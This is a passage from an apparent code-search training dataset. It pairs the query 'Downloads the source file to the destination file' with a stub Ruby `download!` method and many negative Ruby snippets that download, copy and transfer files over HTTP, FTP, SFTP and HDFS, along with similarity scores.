"def create\n debugger\n begin\n current_user.invite(params[:id])\n rescue\n end\n current_user.invite(params[:id])\n render :update do |page|\n page.replace_html(\"serach_result_#{params[:id]}\",\"<front class='cred'>邀请成功</front>\")\n end\n end",
"def add_goals\n end",
"def add_dat\n add_daily_attendance(:dat)\n end",
"def attend_event(event, status = :pending)\n a = Attendance.where(user_id: self.id, event_id: event.id).first_or_create\n a.status = status\n a.save\n end",
"def invite_a_friend_to_track(user, email, the_body, the_subject) \n recipients email\n #bcc \"support@habitforge.com\"\n from user.first_name + \" via habitforge <support@habitforge.com>\"\n subject the_subject \n body the_body\n content_type \"text/html\"\n end"
] |
[
"0.5802408",
"0.56107306",
"0.55837446",
"0.5581934",
"0.5563374",
"0.5479594",
"0.54458916",
"0.5440408",
"0.5437752",
"0.5430034",
"0.5400913",
"0.5358919",
"0.5355068",
"0.53386754",
"0.5335862",
"0.5323309",
"0.531489",
"0.53122133",
"0.52920073",
"0.5260539",
"0.5234853",
"0.5192938",
"0.5185037",
"0.5185037",
"0.5172579",
"0.5155961",
"0.5131038",
"0.5105429",
"0.51039004",
"0.5099894",
"0.5088129",
"0.5069351",
"0.5044261",
"0.5041605",
"0.50046",
"0.500279",
"0.49997872",
"0.49863094",
"0.49842328",
"0.49797526",
"0.4971849",
"0.49711022",
"0.49651933",
"0.49544588",
"0.49437913",
"0.49401766",
"0.4938028",
"0.49354663",
"0.49180773",
"0.49156964",
"0.4913394",
"0.49115148",
"0.49037945",
"0.48996317",
"0.48944208",
"0.48940313",
"0.4891897",
"0.48911262",
"0.48906064",
"0.48894578",
"0.48884177",
"0.48873568",
"0.48821414",
"0.48786795",
"0.4865113",
"0.48636246",
"0.485906",
"0.48587117",
"0.48569468",
"0.48550764",
"0.48540005",
"0.484967",
"0.48471078",
"0.48467344",
"0.48467344",
"0.48360866",
"0.4830563",
"0.48289144",
"0.48274997",
"0.48268238",
"0.48261398",
"0.48185578",
"0.48166403",
"0.48137113",
"0.48103946",
"0.4808185",
"0.48076138",
"0.48067185",
"0.48032287",
"0.4803102",
"0.48030716",
"0.48021415",
"0.48006737",
"0.47992498",
"0.4797606",
"0.4797105",
"0.47967535",
"0.47960252",
"0.47889686",
"0.47869885"
] |
0.75433725
|
0
|
Downloads the source file to the destination file. It is up to implementors of this class to handle the logic.
|
def download!(source_url, destination_file); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def download_file(source, destination, targets)\n destination = File.expand_path(destination, Dir.pwd)\n targets = inventory.get_targets(targets)\n\n with_benchmark do\n executor.download_file(targets, source, destination)\n end\n end",
"def download_bad_way(destination_path, source_path, user_agent)\n\n # Download without a progress bar\n File.open(destination_path, \"wb\") do |saved_file|\n # the following \"open\" is provided by open-uri\n open(\"#{source_path}\", \"rb\", 'User-Agent' => useragent) do |read_file|\n saved_file.write(read_file.read)\n end\n end\n end",
"def download(source_path, destination_path = nil)\n Net::SFTP.start host, username do |ssh|\n return ssh.download! source_path, destination_path\n end\n end",
"def get_file(from, to)\n run_session do |ssh|\n $log&.debug(\"#{self.class}##{__method__} - Copying file #{host}:#{from} to #{to}.\")\n data = ssh.sftp.download!(from, to)\n $log&.debug(\"#{self.class}##{__method__} - Copying of #{host}:#{from} to #{to}, complete.\")\n return data\n end\n end",
"def download from_path, to_path, options={}, &block\n from_path = \"#{@host}:#{from_path}\"\n Sunshine.logger.info @host, \"Downloading #{from_path} -> #{to_path}\" do\n execute rsync_cmd(from_path, to_path, options), &block\n end\n end",
"def download_file\n info(\"Downloading file \" + @filename + \" started.\")\n \n open(local_file, 'wb') do |file|\n file << open(remote_file).read\n end\n\n info(\"Downloading file \" + @filename + \" completed successfully.\")\n rescue StandardError => e\n error(\"Unable to download file #{@filename} due to following error occurred #{e}\")\n end",
"def download( src, dst, &block )\n dst_folder = File.dirname(dst)\n raise ArgumentError.new(\"dst folder does not exist: '#{dst_folder}'\") unless File.exists?( dst_folder )\n connection.chdir( File.dirname(src) )\n if block_given?\n connection.getbinaryfile( src, dst, chunksize, block )\n else\n connection.getbinaryfile( src, dst )\n end\n last_ftp_command_ok?\n end",
"def preform_copy_file\n @destination_files.each do |destination|\n copy_file(@sources.pop, destination)\n end\n end",
"def download_resource(src_url,dest_path,content_type)\n begin \n content = open(src_url).read\n basename = Pathname.new(src_url).basename.to_s.gsub(/\\..*/,'')\n vortex_url = dest_path + basename + \".\" + content_type\n vortex_url = vortex_url.downcase\n begin\n @vortex.put_string(vortex_url, content)\n puts \"Copying resource: \" + src_url + \" => \" + vortex_url\n @log = @log + \"Copying resource: \" + src_url + \" => \" + vortex_url + \"<br>\\n\"\n rescue Exception => e\n puts e.message\n pp e.backtrace.inspect\n puts \"vortex_url: \" + vortex_url\n exit\n end\n return vortex_url\n rescue\n puts \"WARNING could not open file \" + src_url\n @log = @log + \"WARNING could not open file \" + src_url + \"<br>\\n\"\n return nil\n end\nend",
"def download_dest\n ::File.join(Chef::Config[:file_cache_path],\n ::File.basename(URI.decode(download_source)).gsub(' ', ''))\n end",
"def move_file(from_source:, from_file:, to_source:, to_file:)\n response = HTTParty.get(\"#{@host}/move_file\", query: {\n source_file: \"#{from_source}:#{from_file}\",\n dest_file: \"#{to_source}:#{to_file}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def download(target,\n download_url,\n destination_file,\n protocol)\n Log.log_debug('Into download (target=' + target +\n ') download_url=' + download_url +\n ' destination_file=' + destination_file +\n ' protocol=' + protocol)\n #\n returned = 0\n begin\n unless ::File.exist?(destination_file)\n ::File.open(destination_file, 'w') do |f|\n download_expected = open(download_url)\n bytes_copied = ::IO.copy_stream(download_expected, f)\n if protocol != 'ftp'\n bytes_expected = download_expected.meta['content-length']\n if bytes_expected.to_i != bytes_copied\n Log.log_err(\"Expected #{bytes_expected} bytes but got #{bytes_copied}\")\n returned = -1\n end\n end\n returned = 1\n end\n end\n rescue Errno::ENOSPC => e\n ::File.delete(destination_file)\n Log.log_err('Automatically increasing file system as Exception e=' + e.to_s)\n Flrtvc.increase_filesystem(destination_file)\n return download(target, download_url, destination_file, protocol)\n rescue Errno::ETIMEDOUT => e\n ::File.delete(destination_file)\n Log.log_warning('Timeout while downloading: ' + download_url)\n Log.log_err('Exception e=' + e.to_s + ' : file ' + download_url + ' not downloaded')\n returned = -1\n # TODO: implement timeout on ftp download here, and a retry mechanism\n rescue StandardError => e\n ::File.delete(destination_file)\n Log.log_err('Exception e=' + e.to_s)\n returned = -1\n end\n Log.log_debug('download(...) returning ' + returned.to_s)\n returned\n end",
"def download(from, to: File.basename(from), block_size: Net::FTP::DEFAULT_BLOCKSIZE)\n log \"downloading file from #{from} to #{to}...\"\n @ftp.get(from, to, block_size)\n end",
"def download\n # noinspection RubyCaseWithoutElseBlockInspection\n case type\n when 'direct'\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n Attachment.download_from_url(source, dir)\n when 'git'\n FileUtils.mkdir_p(File.dirname(path))\n ::Open3.capture3('git submodule update --init --recursive')\n end\n end",
"def download_source\n unless @download_source\n if new_resource.package_url\n res = chase_redirect(new_resource.package_url)\n else\n params = URI.encode_www_form(full: 1,\n plat: node['platform_family'][0..2])\n res = chase_redirect(\"https://www.dropbox.com/download?#{params}\")\n end\n end\n @download_source ||= res\n end",
"def download_file(url, destination)\n raw_file = server_api.streaming_request(url)\n\n Chef::Log.info(\"Storing updated #{destination} in the cache.\")\n cache.move_to(raw_file.path, destination)\n end",
"def download\n return file if file\n\n self.file = retrieve_file\n end",
"def download(from, to: File.basename(from), **options)\n log \"downloading file from #{from} to #{to}...\"\n remote = remote_path(from)\n local = (Pathname.pwd + to).to_s\n @sftp.download!(remote, local, options)\n end",
"def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end",
"def download_file(url, dest)\n if File.exist?(dest)\n say \"File already downloaded #{dest}\"\n return dest\n end\n\n say \"Downloading...\"\n FileUtils.mkdir_p(File.dirname(dest)) # ensure parent folder exists\n\n File.open(dest, 'wb') do |saved_file|\n URI.open(url, 'rb') do |read_file|\n saved_file.write(read_file.read)\n end\n end\n dest\n end",
"def download(source_uri, destination, image_bounds, config)\n # don't re-download if the file already exists locally\n prefix = config[:pretend] ? '[pretend] ' : ''\n unless File.exists? destination\n begin\n unless config[:pretend]\n config[:logger].info {prefix + \"downloading #{source_uri} to #{destination}\"}\n system(\"mkdir -p \\\"#{File.dirname(destination)}\\\"\")\n plugin_send(:pre_download, destination, config)\n File.open(destination, \"wb\") {|f| f.write(open(source_uri).read)}\n image_bounds.resize destination\n image_bounds.fill_to destination\n plugin_send(:post_download, destination, config)\n end\n rescue => eMsg\n config[:logger].warn {prefix + \"Unable to download #{destination} - #{eMsg.to_s}\"}\n config[:logger].debug {eMsg.backtrace.join(\"\\n\")}\n # something bad happened, so cleanup the partially written local image file if it exists\n File.delete destination if File.exists? destination\n plugin_send(:on_download_error, destination, config)\n end\n else\n config[:logger].info {prefix + \"Skipping #{source_uri} => #{destination}\"}\n end\n end",
"def download_file(url, destination)\n raw_file = server_api.get_rest(url, true)\n\n Chef::Log.info(\"Storing updated #{destination} in the cache.\")\n cache.move_to(raw_file.path, destination)\n end",
"def download( sourceuri, targetfile=nil )\n\toldsync = $stdout.sync\n\t$stdout.sync = true\n\trequire 'open-uri'\n\n\ttargetpath = Pathname.new( targetfile )\n\n\t$stderr.puts \"Downloading %s to %s\" % [sourceuri, targetfile]\n\t$stderr.puts \" connecting...\" if $trace\n\tifh = open( sourceuri ) do |ifh|\n\t\t$stderr.puts \" connected...\" if $trace\n\t\ttargetpath.open( File::WRONLY|File::TRUNC|File::CREAT, 0644 ) do |ofh|\n\t\t\t$stderr.puts \"Downloading...\"\n\t\t\tbuf = ''\n\n\t\t\twhile ifh.read( 16384, buf )\n\t\t\t\tuntil buf.empty?\n\t\t\t\t\tbytes = ofh.write( buf )\n\t\t\t\t\tbuf.slice!( 0, bytes )\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t$stderr.puts \"Done.\"\n\t\tend\n\n\tend\n\n\treturn targetpath\nensure\n\t$stdout.sync = oldsync\nend",
"def remote_file\n unless @remote_file\n @remote_file = Resource::RemoteFile.new(download_dest, run_context)\n @remote_file.source(download_source)\n end\n @remote_file\n end",
"def download_original ; path_download_file(:original).download end",
"def local_to_remote!\n if not @remote_io or not @local_io\n raise Exception::new(\"Copy request from local to remote stream, but no local and/or remote stream have been assigned.\")\n end\n\n @local_io.acquire do |lio|\n lio.seek(@local_position)\n @remote_io.acquire :write do |rio|\n #p rio\n rio.write(self.to_s)\n File.copy_stream(lio, rio, @local_size)\n end\n end\n\n end",
"def get_file(from, to)\n run_session do |ssh|\n $log&.debug(\"MiqSshUtil::get_file - Copying file #{@host}:#{from} to #{to}.\")\n data = ssh.sftp.download!(from, to)\n $log&.debug(\"MiqSshUtil::get_file - Copying of #{@host}:#{from} to #{to}, complete.\")\n return data\n end\n end",
"def run_download(source, dl_method, storage)\n storage.download_sources(source) unless dl_method == 'stream'\n end",
"def download\n log.warn(log_key) { source[:warning] } if source.key?(:warning)\n\n options = {}\n\n if source[:unsafe]\n log.warn(log_key) { \"Permitting unsafe redirects!\" }\n options[:allow_unsafe_redirects] = true\n end\n\n # Set the cookie if one was given\n options[\"Cookie\"] = source[:cookie] if source[:cookie]\n options[\"Authorization\"] = source[:authorization] if source[:authorization]\n\n download_file!(download_url, downloaded_file, options)\n end",
"def copy_file(src, dest)\r\n File.open(src, 'rb') {|r|\r\n File.open(dest, 'wb') {|w|\r\n copy_stream r, w\r\n }\r\n }\r\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n FileUtils.mkdir_p(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n src_path = File.join(local_path, local_file)\n dst_path = File.join(remote_path, remote_file)\n FileUtils.send(transfer_method, src_path, dst_path)\n end\n end",
"def fetch\n log.info(log_key) { \"Copying from `#{source_path}'\" }\n\n create_required_directories\n FileSyncer.sync(source_path, project_dir, source_options)\n # Reset target shasum on every fetch\n @target_shasum = nil\n target_shasum\n end",
"def copy_file(src, dst)\n File.open(src) do |fin|\n File.open(dst, 'w') do |fout|\n fout.write(fin.read)\n end\n end\n end",
"def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end",
"def download\n \n shell.tell \"Downloading remote file...\"\n \n if in_dir?(:origins)\n shell.notify \"Already downloaded to: #{template_dir.addr :origins}\"\n return false\n end\n \n \n # notify \"Downloaded [from] [to]:\", address, pending.address\n file_twins(:origins).download\n file_twins(:pending).download \n shell.notify \"Content needs to be reviewed/merged into :latest: #{file_twins(:pending).local.address}\"\n abort\n \n end",
"def fetch(base_url, file_name, dst_dir)\n FileUtils.makedirs(dst_dir)\n src = \"#{base_url}/#{file_name}\"\n dst = File.join(dst_dir, file_name)\n if File.exists?(dst)\n logger.notify \"Already fetched #{dst}\"\n else\n logger.notify \"Fetching: #{src}\"\n logger.notify \" and saving to #{dst}\"\n open(src) do |remote|\n File.open(dst, \"w\") do |file|\n FileUtils.copy_stream(remote, file)\n end\n end\n end\n return dst\n end",
"def copy(to_object, identifier = '')\n validate_object(to_object)\n\n begin\n debug \"Initialized Uv::Storage::File#copy\"\n debug \"Trying to download the file, and write it to a tempfile\"\n\n tmp_file_name = ::File.join(RAILS_ROOT, 'tmp', self.filename)\n tmp_file = ::File.new(tmp_file_name, 'w+')\n tmp_file.write(self.read)\n\n debug \"Tempfile written to: #{tmp_file_name}\"\n debug \"Creating a new file to copy to.\"\n\n new_file = Uv::Storage::File.new(tmp_file, :object => to_object, :identifier => identifier)\n new_file.save\n\n ::File.unlink(tmp_file_name) rescue nil\n\n return true\n rescue => e\n fatal \"An error occured in Uv::Storage::File#copy\"\n fatal \"Error was: #{e}\"\n\n return false\n end\n end",
"def download!\n # This variable can contain the proc that'll be sent to\n # the subprocess execute.\n data_proc = nil\n\n extra_subprocess_opts = {}\n if @ui\n # If we're outputting progress, then setup the subprocess to\n # tell us output so we can parse it out.\n extra_subprocess_opts[:notify] = :stderr\n\n data_proc = Vagrant::Util::CurlHelper.capture_output_proc(@logger, @ui, @source)\n end\n\n @logger.info(\"Downloader starting download: \")\n @logger.info(\" -- Source: #{@source}\")\n @logger.info(\" -- Destination: #{@destination}\")\n\n retried = false\n begin\n # Get the command line args and the subprocess opts based\n # on our downloader settings.\n options, subprocess_options = self.options\n options += [\"--output\", @destination]\n options << @source\n\n # Merge in any extra options we set\n subprocess_options.merge!(extra_subprocess_opts)\n\n # Go!\n execute_curl(options, subprocess_options, &data_proc)\n rescue Errors::DownloaderError => e\n # If we already retried, raise it.\n raise if retried\n\n @logger.error(\"Exit code: #{e.extra_data[:code]}\")\n\n # If its any error other than 33, it is an error.\n raise if e.extra_data[:code].to_i != 33\n\n # Exit code 33 means that the server doesn't support ranges.\n # In this case, try again without resume.\n @logger.error(\"Error is server doesn't support byte ranges. Retrying from scratch.\")\n @continue = false\n retried = true\n retry\n ensure\n # If we're outputting to the UI, clear the output to\n # avoid lingering progress meters.\n if @ui\n @ui.clear_line\n\n # Windows doesn't clear properly for some reason, so we just\n # output one more newline.\n @ui.detail(\"\") if Platform.windows?\n end\n end\n\n validate_download!(@source, @destination, @checksums)\n\n # Everything succeeded\n true\n end",
"def remote_copy_file(source, target, options = {})\n Uploadcare::File.remote_copy(source, target, options)\n end",
"def copy_file(source, destination)\n FileUtils.cp(source, destination)\n destination\n end",
"def copy_file(source, destination)\n FileUtils.cp(source, destination)\n destination\n end",
"def download_data_file(url, directory, destination_filename)\n filepath = \"#{directory}/#{destination_filename}\"\n puts \">> Downloading #{filepath}...\"\n IO.copy_stream(open(url), filepath)\n\n Zip::File.open(filepath) do |zip_file|\n data_file = zip_file.glob('*.csv').first\n filepath = \"#{directory}/#{data_file.name}\"\n puts \">> Extracting #{filepath}...\"\n data_file.extract(filepath)\n end\nend",
"def download(command)\n if command[1].nil? || command[1].empty?\n puts \"please specify item to get\"\n elsif command[2].nil? || command[2].empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(command[2])\n puts \"error: File #{dest} already exists.\"\n else\n src = '/' + clean_up(command[1])\n dst = command[2]\n out, metadata = @client.files.download(src)\n pp metadata\n open(dst, 'w') { |f| f.puts out }\n puts \"wrote file #{ dst }.\"\n end\n end",
"def downloadRevision(fileToGet, dest, revisionID)\n \n if !fileToGet || fileToGet.empty?\n puts \"please specify item to get\"\n elsif !dest || dest.empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(dest)\n puts \"error: File #{dest} already exists.\"\n else\n \n fileData,metadata = @client.get_file_and_metadata(fileToGet, rev='')\n \n #Create necessary parent directories:\n fileDir, fileNameAndExt = File.split(dest);\n fileName, fileExt = fileNameAndExt.split(/(?=\\.)/)\n FileUtils::mkdir_p(fileDir)\n \n \n #Write to file:\n open(dest, 'w'){|f| f.puts fileData }\n puts \"Downloaded file to #{dest}.\"\n end\n end",
"def copy(source_path, target_path)\n _ensure_directory_exists(target_path)\n target_path.open('wb', @permissions[:file]) do |io|\n lines = source_path.read.split(\"\\n\")\n lines.each do |line|\n\tio.write(line.chomp + @ending)\n end\n end\n puts \"#{source_path.to_s.ljust(25)} -> #{target_path}\"\n end",
"def copy_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n response = {}\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.copy_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n response[:error] = \"Copy failed\" \n render json: response, status: 422\n end\n end",
"def download_distribution(src, dst)\n remote_file = Chef::Resource::RemoteFile.new(\n dst,\n run_context\n )\n remote_file.owner('root')\n remote_file.group('root')\n remote_file.source(src)\n remote_file.mode('0644')\n remote_file.backup(false)\n\n remote_file.run_action(:create)\n\n Chef::Log.debug(\"remote_file.source: #{remote_file.source}\")\n Chef::Log.debug(\"remote_file.path: #{remote_file.path}\")\n Chef::Log.debug(\"remote_file.atomic_update : #{remote_file.atomic_update}\")\n Chef::Log.debug(\"remote_file.checksum : #{remote_file.checksum}\")\n\n # Returning downloaded file checksum\n md5sum(dst)\n end",
"def download_file(source, filename)\n response = HTTParty.get(\"#{@host}/download_file\", query: {\n source_file: \"#{source}:#{filename}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def transfer!\n create_local_directories!\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end",
"def process\n verify_url!\n download_from_url do |downloaded_file|\n if valid_readers_format?\n downloaded_file\n else\n unzip(downloaded_file)\n end\n end\n end",
"def download_file local_path,remote_path\n dl =nil\n safe_fetch do\n @ssh.sftp.connect do |sftp|\n dl = sftp.download(remote_path, local_path)\n \n end\n end\n dl\n end",
"def download_file(remote_file, local_file)\n begin\n @log.info(\"Download file #{remote_file} to #{local_file}\")\n @ssh_connect.download!(remote_file,local_file)\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end",
"def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end",
"def fetch\n DownloadManager.fetch(src, target)\n parse\n end",
"def copy_to_local srcfile, dstfile\n @hdfs.copy_to_local_file(Path.new(srcfile), Path.new(dstfile))\n end",
"def copy_to_local srcfile, dstfile\n @hdfs.copy_to_local_file(Path.new(srcfile), Path.new(dstfile))\n end",
"def file_download(*paths); net_scp_transfer!(:download, false, *paths); end",
"def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend",
"def local_copy(source, target)\n FileUtils.mkpath(File.dirname(target))\n FileUtils.copy(source, \"#{target}.in_progress\")\n FileUtils.move(\"#{target}.in_progress\", target)\n end",
"def perform\n # before downloading we have to check if file exists. checkfiles service\n # also gives us information for the download: hostname, file size for\n # progressbar\n return self unless self.check\n\n file = open(File.join(@downloads_dir, @filename), 'wb')\n block_response = Proc.new do |response|\n downloaded = 0\n total = response.header['content-length'].to_i\n\n unless total == @filesize\n @error = 'Access denied'\n return self\n end\n\n response.read_body do |chunk|\n file << chunk\n downloaded += chunk.size\n progress = ((downloaded * 100).to_f / total).round(2)\n yield chunk.size, downloaded, total, progress if block_given?\n end\n end\n\n RestClient::Request.execute(:method => :get,\n :url => self.download_link,\n :block_response => block_response)\n file.close()\n @downloaded = true\n self\n end",
"def copy_file(filename1, filename2)\n save_tasks_to_file_impl(load_tasks_from_file_impl(filename1), filename2)\n end",
"def copy_file(filename,dst_dir='/',dst_repo=self.repo,src_repo=self.repo)\n post_copy(src_repo,{\"file_names\"=>filename, \"dst_repo\" => dst_repo, \"dst_dir\"=>dst_dir})\n end",
"def download(file_name)\n remote_file_path = File.join(remote_path, file_name)\n local_file_path = File.join(backup_folder, file_name)\n\n file_from_storage = remote_directory.files.get(remote_file_path)\n\n prepare_local_folder(local_file_path)\n create_local_file(local_file_path, file_from_storage)\n\n local_file_path\n end",
"def download(file, todir = '.')\r\n begin\r\n puts \"Downloading file #{file} from #{@address}\"\r\n c = open(\"http://#{@address}/#{file}\").read\r\n Dir.mkdir(todir) if not File.directory?(todir)\r\n f = open(\"#{todir}/#{file}\", 'wb')\r\n f.puts c\r\n f.close\r\n rescue => e\r\n if not File.exists?(fullfile)\r\n $stderr.puts \"Could not download file #{file} form #{@address}.\"\r\n $stderr.puts e.to_s\r\n end\r\n end\r\nend",
"def do_download\n checksum = if new_resource.checksum\n new_resource._?(:checksum, '--checksum=sha-256=').join\n end\n header = if new_resource.header\n \"--header='#{new_resource._?(:header)[1]}'\"\n end\n aria2(checksum, header,\n new_resource._?(:path, '-o'),\n new_resource._?(:directory, '-d'),\n new_resource._?(:split_size, '-s'),\n new_resource._?(:connections, '-x'),\n new_resource._?(:check_cert, '--check-certificate=false'),\n new_resource.source)\n end",
"def copy(destination, file, folder = './downloads')\n FileUtils.mkdir_p(File.dirname(\"#{destination}/#{file}\"))\n FileUtils.cp_r(\"#{folder}/#{file}\", \"#{destination}/#{file}\")\n end",
"def download(url, file)\n # First, open the remote file. (FD == 'File Descriptor', a C term)\n #\n # If we first open the remote file, if there are any exceptions in\n # attempting to open it, we won't lose the contents of the local file.\n open(url) do |remoteFD|\n # Open the local file, purging the contents.\n File.open(file, \"w\") do |genericFD|\n remoteFD.each_line do |line|\n # Take each line, stick it in the file.\n genericFD.puts line\n end\n end\n end\n @repo.add(file) # add the file to the list to be committed\nend",
"def update_cache(source=@url, destination=@local_path, options={})\n unless destination\n raise ArgumentError, \"Must specify destination directory when updatng resource\", caller\n end\n file_exists = File.exists?(destination)\n if file_exists && @signature_verified == nil\n verify_signature\n end\n unless file_exists && @signature_verified\n FileUtils.mkdir_p(File.dirname(destination))\n puts \"reading: #{source}\" if options[:verbose]\n tried_to_read = 0\n begin\n jarfile = open(source)\n rescue OpenURI::HTTPError => e\n puts e\n if tried_to_read < 1\n tried_to_read += 1\n retry\n end\n end\n if jarfile.class == Tempfile\n FileUtils.cp(jarfile.path, destination)\n puts \"copying to: #{destination}\" if options[:verbose]\n else\n File.open(destination, 'w') {|f| f.write jarfile.read }\n puts \"writing to: #{destination}\" if options[:verbose]\n end\n puts \"#{jarfile.size} bytes written\" if options[:verbose]\n verify_signature ? jarfile.size : false\n else\n File.size(destination)\n end\n end",
"def cp!( from_file, to_file, opts = {} )\r\n args = { :source => from_file, :destination => to_file }\r\n args[:source_address] = opts[:source_address] if opts[:source_address]\r\n \r\n begin\r\n got = @ndev.rpc.file_copy( args )\r\n rescue => e\r\n raise IOError, e.rsp.xpath('rpc-error/error-message').text.strip\r\n else\r\n return true\r\n end\r\n end",
"def download!\n return download if file.nil?\n\n file.close\n file.unlink\n self.file = nil\n download\n end",
"def copy_from_local srcfile, dstfile\n @hdfs.copy_from_local_file(Path.new(srcfile), Path.new(dstfile))\n end",
"def copy_from_local srcfile, dstfile\n @hdfs.copy_from_local_file(Path.new(srcfile), Path.new(dstfile))\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n container, File.join(remote_path, remote_file), file\n )\n end\n end\n end",
"def download(from, to, options={})\n sftp.download!(from, to, options) do |event, downloader, *args|\n case event\n when :get\n size = args[0].size ? args[0].size : sftp.stat!(from).size\n DO_LOGGER.print(\"\\r\" + DO_LOGGER_FORMAT % [user, name, \"sending: #{from} (#{(args[1].to_f * 100 / size.to_f).to_i}%)\"]); DO_LOGGER.flush\n when :finish\n DO_LOGGER.puts(\"\\r\" + DO_LOGGER_FORMAT % [user, name, \"sending: #{from} (100%)\"]); DO_LOGGER.flush\n # when :mkdir\n # log \"creating directory #{args[0]}\"\n end\n end\n end",
"def process_download(options = {})\n @download = Download.process(self, options)\n end",
"def URLSession(session, downloadTask: downloadTask, didFinishDownloadingToURL: location)\n\n error = Pointer.new(:object)\n fileManager = NSFileManager.defaultManager\n\n destinationFilename = downloadTask.originalRequest.URL.lastPathComponent\n uRLs = fileManager.URLsForDirectory(NSDocumentDirectory, inDomains: NSUserDomainMask)\n @docDirectoryURL = uRLs.objectAtIndex 0\n destinationURL = @docDirectoryURL.URLByAppendingPathComponent destinationFilename\n\n if fileManager.fileExistsAtPath(destinationURL.path)\n fileManager.removeItemAtURL(destinationURL, error:nil)\n end\n\n success = fileManager.copyItemAtURL(location, toURL: destinationURL, error: error)\n\n if success\n # // Change the flag values of the respective FileDownloadInfo object.\n index = self.getFileDownloadInfoIndexWithTaskIdentifier(downloadTask.taskIdentifier)\n fdi = @arrFileDownloadData[index]\n\n fdi.is_downloading = false\n fdi.download_complete = true\n\n # // Set the initial value to the taskIdentifier property of the fdi object,\n # // so when the start button gets tapped again to start over the file download.\n fdi.task_identifier = -1\n\n # // In case there is any resume data stored in the fdi object, just make it nil.\n fdi.task_resume_data = nil\n\n NSOperationQueue.mainQueue.addOperationWithBlock -> do\n # // Reload the respective table view row using the main thread.\n @table_view.reloadRowsAtIndexPaths([NSIndexPath.indexPathForRow(index, inSection: 0)], withRowAnimation: UITableViewRowAnimationNone)\n end\n else\n NSLog \"Unable to copy temp file. Error: #{error.localizedDescription}\"\n end\n end",
"def remote_to_local!\n if not @remote_io or not @local_io\n raise Exception::new(\"Copy request from remote to local stream, but no local and/or remote stream have been assigned.\")\n end\n \n @local_io.acquire do |lio|\n lio.seek(@local_position)\n lio.write(@content)\n end\n end",
"def download_all_files files,dest\n return if files.empty?\n RubyUtil::partition files do |sub|\n cmd = \"mv -t #{dest} \"\n cmd += sub.map { |f| \"\\\"#{f.full_path}\\\"\" }.join(' ')\n exec_cmd(cmd) \n end\n # update files object !\n files.map! { |f| f.path = dest; f }\n end",
"def download(from, to = from.split(\"/\").last)\n #run \"curl -s -L #{from} > #{to}\"\n file to, open(from).read\nrescue\n puts \"Can't get #{from} - Internet down?\"\n exit!\nend",
"def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end",
"def download(id)\n Down.copy_to_tempfile(id, open(id))\n end",
"def by_http(url, destination_path)\n begin\n open(url, :allow_redirections => :safe) do |input|\n if @accepted_content_types.include?(input.content_type)\n\n if File.exists?(destination_path)\n return destination_path\n else\n file = File.open(destination_path, 'wb') do |output|\n output << input.read\n end\n return file.path\n end\n else\n # need to send this to the logger at some point\n #logger.error \"Content type for #{url} not accepted by this downloader instance.\"\n puts \"[FileDownloader] Content type for #{url} not accepted by this downloader instance.\"\n return nil\n end\n end\n rescue Errno::ENOENT\n puts \"[FileDownloader] Can't open file for writing\"\n return nil\n rescue Exception => e\n puts \"[FileDownloader] Couldn't retrieve file #{url} due to an error: #{e.to_s}\"\n return nil\n end\n end",
"def download\n\t\tsend_file(params[:path])\n end",
"def download path\n dl = @current_prompt_action[:data]\n return unless (path and dl)\n \n dl.set_destination_uri(\"file://#{path}\")\n dl.start()\n end",
"def copy\n FileUtils.cp_r(@src, @dest)\n end",
"def dump_and_download_to!(local_working_dir)\n dump!\n download_to!(local_working_dir)\n ensure\n clean_dump_if_needed!\n end",
"def download\n send_file @cfile.path.to_s\n end",
